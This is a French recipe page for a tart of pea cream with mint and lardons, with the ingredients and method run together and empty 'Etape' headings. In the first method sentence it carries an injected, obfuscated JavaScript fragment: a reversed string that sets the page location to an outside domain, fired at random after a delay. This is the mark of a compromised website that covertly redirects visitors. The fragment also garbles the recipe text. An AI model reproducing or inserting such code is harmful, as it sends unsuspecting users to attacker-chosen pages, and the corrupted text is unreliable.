Tarte à la crème de petits pois avec de la menthe et des lardons
2021-05-07- Cuisine : Tarte, Tarte salée
- Niveau : Difficile
Dans une casserole avec 2 cuillères à soupe d’huile d’arachide, sur feu moyen. Faites revenir l’émincé d’oignons tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
Dans une casserole avec 2 cuillères à soupe d’huile d’arachide, sur feu moyen. Faites revenir l’émincé d’oignons tout en remuant. Versez l’eau, le sucre, la menthe et les petits pois. Laissez mijoter sur feu doux tout en remuant pendant 35 minutes. Vérifiez la cuisson. Mixez, les passer dans un chinois pour obtenir une crème lisse, incorporez le fromage frais, sel, poivre, les œufs l’un après l’autre tout en fouettant avec énergie.
Dans une poêle sans matière grasse sur feu vif, faites revenir les lardons. Abaissez la pâte feuilletée dans un moule à tarte légèrement beurré, y déposez les lardons et la crème de petits pois. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 30 minutes. Vérifiez la cuisson. Sortez la tarte du four, laissez tiédir. Déposez dessus des tranches de bacon grillé, parsemez de menthe fraiche ciselée.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
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